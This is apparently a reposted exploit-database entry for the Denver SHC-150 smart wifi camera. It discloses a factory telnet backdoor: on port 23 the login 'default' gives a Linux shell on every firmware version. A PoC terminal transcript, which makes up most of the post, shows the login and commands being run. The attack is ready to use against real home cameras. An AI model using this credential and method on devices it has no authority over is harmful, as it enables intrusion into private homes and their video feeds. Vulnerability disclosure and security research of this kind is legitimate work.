Wednesday, July 28, 2021

Denver Smart Wifi Camera SHC-150 Remote Code Execution

# Exploit Title: Denver Smart Wifi Camera SHC-150 - 'Telnet' Remote Code Execution (RCE)
# Date: 27 July 2021
# Exploit Author: Ivan Nikolsky (enty8080)
# Vendor Homepage: https://denver.eu/products/smart-home-security/denver-shc-150/c-1024/c-1243/p-3824
# Version: Denver SHC-150 (all firmware versions)
# Tested on: Denver SHC-150

Backdoor was found in a Denver SHC-150 Smart Wifi Camera. Maybe other models also have this backdoor too.

So, backdoor is a factory telnet credential - `default`. Just open the telnet connection with the camera on port 23 and enter `default` (yes, on these cameras, telnet service is served on port 23). After this, you'll get a Linux shell. Backdoor allows an attacker to execute commands on OS lever through telnet.

PoC:

```
[email protected] ~ % telnet 192.168.2.118 23
Trying 192.168.2.118...
Connected to pc192-168-2-118.
Escape character is '^]'.

goke login: default
$ ls /
bin home linuxrc opt run tmp
dev init media proc sbin usr
etc lib mnt root sys var
$ pwd
/home/default
$ exit
Connection closed by foreign host.
[email protected] ~ %
```
 

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